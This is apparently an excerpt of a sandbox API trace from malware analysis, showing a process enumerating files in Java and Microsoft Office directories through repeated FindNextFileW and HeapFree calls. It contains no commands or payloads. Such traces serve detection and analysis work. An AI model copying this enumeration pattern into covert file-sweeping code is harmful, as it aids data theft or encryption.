	[0162.927] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa1295634, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.928] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e8d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="default.jfc", cAlternateFileName="")) returned 1
	[0162.928] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0162.928] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0162.930] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0162.931] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0162.934] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0162.934] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0162.934] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0162.936] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0162.936] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.937] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453eb7e0, ftCreationTime.dwHighDateTime=0x1d5887f, ftLastAccessTime.dwLowDateTime=0xc20fde90, ftLastAccessTime.dwHighDateTime=0x1d5a952, ftLastWriteTime.dwLowDateTime=0xc20fde90, ftLastWriteTime.dwHighDateTime=0x1d5a952, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ride_australian.exe", cAlternateFileName="RIDE_A~1.EXE")) returned 1
	[0162.937] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0162.937] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x2fafa7c | out: lpFindFileData=0x2fafa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x384264eb, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x384264eb, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0162.940] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0162.940] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2f44ae, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3b2f44ae, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0162.946] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4057fb8 | out: hHeap=0x710000) returned 1
	[0162.946] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0162.950] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0162.950] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0163.518] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0163.518] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0163.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.520] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0163.520] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0163.520] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0163.520] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0163.520] FindClose (in: hFindFile=0x76e9a8 | out: hFindFile=0x76e9a8) returned 1
	[0163.521] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0163.523] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0163.527] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0163.527] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0163.529] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0163.529] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0163.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4004f78 | out: hHeap=0x710000) returned 1
	[0163.537] FindNextFileW (in: hFindFile=0x76e9a8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0163.537] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.537] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0163.540] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.540] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0163.542] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.542] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0163.547] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.547] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0163.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.948] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0163.962] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0163.963] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0164.458] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0164.458] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0164.460] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0164.460] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0164.461] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0164.461] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0164.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40aefe8 | out: hHeap=0x710000) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0164.469] FindClose (in: hFindFile=0x76e6e8 | out: hFindFile=0x76e6e8) returned 1
	[0164.469] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4044f98 | out: hHeap=0x710000) returned 1
	[0164.469] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0164.648] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0164.648] FindNextFileW (in: hFindFile=0x76f468, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0164.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0164.651] FindNextFileW (in: hFindFile=0x76f468, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0164.657] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0164.657] FindNextFileW (in: hFindFile=0x76f468, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0164.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0164.662] FindNextFileW (in: hFindFile=0x76f468, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0164.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4014f80 | out: hHeap=0x710000) returned 1
	[0164.671] FindNextFileW (in: hFindFile=0x76f468, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0164.930] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.930] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0164.931] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.932] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0164.932] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.932] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0164.933] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0164.933] FindNextFileW (in: hFindFile=0x76eb28, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0164.936] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
